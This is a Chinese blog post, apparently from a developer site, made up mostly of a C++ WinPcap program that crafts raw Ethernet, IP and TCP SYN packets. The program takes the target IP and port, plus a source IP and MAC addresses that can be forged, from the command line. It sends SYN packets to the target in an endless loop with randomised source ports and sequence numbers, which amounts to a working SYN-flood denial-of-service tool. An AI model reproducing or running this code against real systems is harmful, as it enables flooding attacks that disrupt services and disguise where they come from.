pcap 发底层原始包 syn

// Nets.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include "Include\pcap.h"
#pragma comment(lib, "lib/wpcap.lib")
#pragma comment(lib, "lib/packet.lib")
#pragma pack(push)
#pragma pack(1)
typedef struct _iphdr { 
    unsigned char h_lenver; //4位首部长度+4位IP版本号 
    unsigned char tos; //8位服务类型TOS 
    unsigned short total_len; //16位总长度(字节) 
    unsigned short ident; //16位标识 
    unsigned short frag_and_flags; //3位标志位 
    unsigned char ttl; //8位生存时间 TTL 
    unsigned char proto; //8位协议 (TCP, UDP 或其他) 
    unsigned short checksum; //16位IP首部校验和 
    unsigned int sourceIP; //32位源IP地址 
    unsigned int destIP; //32位目的IP地址 
}IP_HEADER; 
 
typedef struct _tcphdr //定义TCP首部 
{    
    USHORT th_sport; //16位源端口 
    USHORT th_dport; //16位目的端口 
    unsigned int th_seq; //32位序列号 
    unsigned int th_ack; //32位确认号    
    unsigned char th_lenres; //4位首部长度/6位保留字 
    unsigned char th_flag; //6位标志位 
    USHORT th_win; //16位窗口大小 
    USHORT th_sum; //16位校验和 
    USHORT th_urp; //16位紧急数据偏移量 
	BYTE	kindMax;
	BYTE	maxLen;
	USHORT	mssValue;
	BYTE	nop01;
	BYTE	kindWinScale3;
	BYTE	winScaleLen3;
	BYTE	shiftCount8;
	BYTE	nop02;
	BYTE	nop03;
	BYTE	sack;
	BYTE	acklen2;
}TCP_HEADER; 
 
typedef struct //定义TCP伪首部
{ 
    unsigned long saddr; //源地址 
    unsigned long daddr; //目的地址 
    char mbz; char ptcl; //协议类型 
    unsigned short tcpl; //TCP长度 
}psd_header; 
#pragma pack(pop)

USHORT checksum(USHORT *buffer, int size) 
{ 
    unsigned long cksum=0;
    unsigned short answer=0;
    while (size > 1) { 
        cksum += *buffer++; 
        size -= sizeof(USHORT); 
    } 
    if (size==1) {
        *(char *)&answer=*(char *)buffer;
        cksum += answer; 
    }
 
	cksum=(cksum>>16)+(cksum&0xffff);
	cksum+=(cksum >>16);

    return (USHORT)(~cksum); 
} 
#pragma comment(lib, "ws2_32.lib")

int _tmain(int argc, _TCHAR* argv[])
{
	BYTE b1,b2,b3,b4,b5,b6;
	sscanf(argv[2], "%x:%x:%x:%x:%x:%x",&b1,&b2,&b3,&b4,&b5,&b6);
	BYTE s1,s2,s3,s4,s5,s6;
	sscanf(argv[3], "%x:%x:%x:%x:%x:%x",&s1,&s2,&s3,&s4,&s5,&s6);
	char* sIP = argv[4];
	char* dIP = argv[5];
	int	 dPort = atoi(argv[6]);
	pcap_t* fp;
	u_char	packet[100];
	char error[PCAP_ERRBUF_SIZE];
	pcap_if_t *alldevs, *d;
	if(pcap_findalldevs(&alldevs, error) == -1)
		{
			fprintf(stderr,"Error in pcap_findalldevs_ex: %s\n", error);
			exit(1);
		}

	/* Print the list */
	int i=0;
		for(d=alldevs; d; d=d->next)
		{
			printf("%d. %s\n    ", ++i, d->name);

			if (d->description)
				printf(" (%s)\n", d->description);
			else
				printf(" (No description available)\n");
		}



	if( (fp = pcap_open( argv[1], 100, PCAP_OPENFLAG_PROMISCUOUS,
		1000, NULL, error)) == NULL)
	{
		printf("unable open adapter %s,%s\n",argv[1],error);
		return 1;
	}
	memset( packet, 0, 100);
	char	szData[] = {
		0xf0,0xb4,0x29,0x81,0xf4,0xf8,0xc0,0x38,0x96,0x38,0x2e,0x45,0x08,0x00,0x45,0x00,
		0x00,0x34,0x2c,0xab,0x40,0x00,0x80,0x06,0xea,0x58,0xc0,0xa8,0x1f,0xce,0xdc,0xb5,
		0x26,0x94,0x01,0xc9,0x00,0x50,0x53,0x07,0x4d,0x43,0x00,0x00,0x00,0x00,0x80,0x02,
		0x20,0x00,0x50,0xbf,0x00,0x00,0x02,0x04,0x50,0x4b,0x01,0x03,0x03,0x08,0x01,0x01,
		0x04,0x02
	};
 
	UINT nTick=0;
	while ( true )
	{nTick++;
		if(nTick%1024==0)
			printf(".");
		IP_HEADER	ip;
		ip.frag_and_flags = htons(0x4000);
		ip.h_lenver = 4<<4 | 5;
		ip.ident = htons(0x306f);
		ip.proto = IPPROTO_TCP;
		ip.sourceIP = inet_addr(sIP);//"192.168.31.206");
		ip.destIP = inet_addr(dIP);//"220.181.38.148");
		ip.tos = 0;
		ip.ttl = 127;
		ip.total_len = htons( sizeof(IP_HEADER)+sizeof(TCP_HEADER));
		ip.checksum = 0;

		psd_header psd;
		psd.daddr = ip.destIP;
		psd.saddr = ip.sourceIP;
		psd.ptcl = IPPROTO_TCP;
		psd.mbz = 0;
		psd.tcpl = htons( sizeof(TCP_HEADER));

		TCP_HEADER	tcp;
		tcp.acklen2 = 2;
		tcp.kindMax = 2;
		tcp.kindWinScale3 = 3;
		tcp.maxLen = 4;
		tcp.mssValue = htons(1460);
		tcp.nop01 = 1;
		tcp.nop02 = 1;
		tcp.nop03 = 1;
		tcp.sack = 4;
		tcp.shiftCount8 = 8;
		tcp.winScaleLen3 = 3;
		tcp.th_ack = 0;
		tcp.th_dport = htons(dPort);
		tcp.th_flag = 2;
		tcp.th_lenres= sizeof(TCP_HEADER)/4 << 4;
		tcp.th_seq = htonl(0x28384858+rand()%60000);
		tcp.th_sport = htons(1024+rand()%50000);
		tcp.th_sum = 0;
		tcp.th_urp = 0;
		tcp.th_win = htons(8192);
		

		memcpy( packet, &psd, sizeof(psd));
		memcpy( packet+sizeof(psd), &tcp, sizeof(TCP_HEADER));
		tcp.th_sum =    ( ::checksum( (USHORT*)packet, sizeof(psd)+sizeof(tcp)));

		//memcpy( packet, &tcp, sizeof(TCP_HEADER));
		//tcp.th_sum = htons( ::checksum( (USHORT*)packet, sizeof(tcp)));

		memcpy( packet, &ip, sizeof(ip));
		memcpy( packet+sizeof(ip), &tcp, sizeof(tcp));
		ip.checksum =   (checksum( (USHORT*)packet, sizeof(ip)));
		memcpy( packet, &ip, sizeof(ip));

		char	buf[100];
		buf[0] = b1;//0xf0;
		buf[1] = b2;//0xb4;
		buf[2] = b3;//0x29;
		buf[3] = b4;//0x81;
		buf[4] = b5;//0xf4;
		buf[5] = b6;//0xf8;

		buf[6] = s1;//0xc0;
		buf[7] = s2;//0x38;
		buf[8] = s3;//0x96;
		buf[9] = s4;//0x38;
		buf[10] = s5;//0x2e;
		buf[11] = s6;//0x45;
		buf[12] = 0x08;
		buf[13] = 0x00;
		memcpy( &buf[14], packet, sizeof(tcp)+sizeof(ip));
		if ( pcap_sendpacket(fp, (u_char*)buf,14+sizeof(tcp)+sizeof(ip)))
		//if( pcap_sendpacket(fp, (u_char*)szData, sizeof(szData)))
		{
			printf("error sending packet %s\n", pcap_geterr(fp));
			return 1;
		}
	}
	

	getchar();
	return 0;
}

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值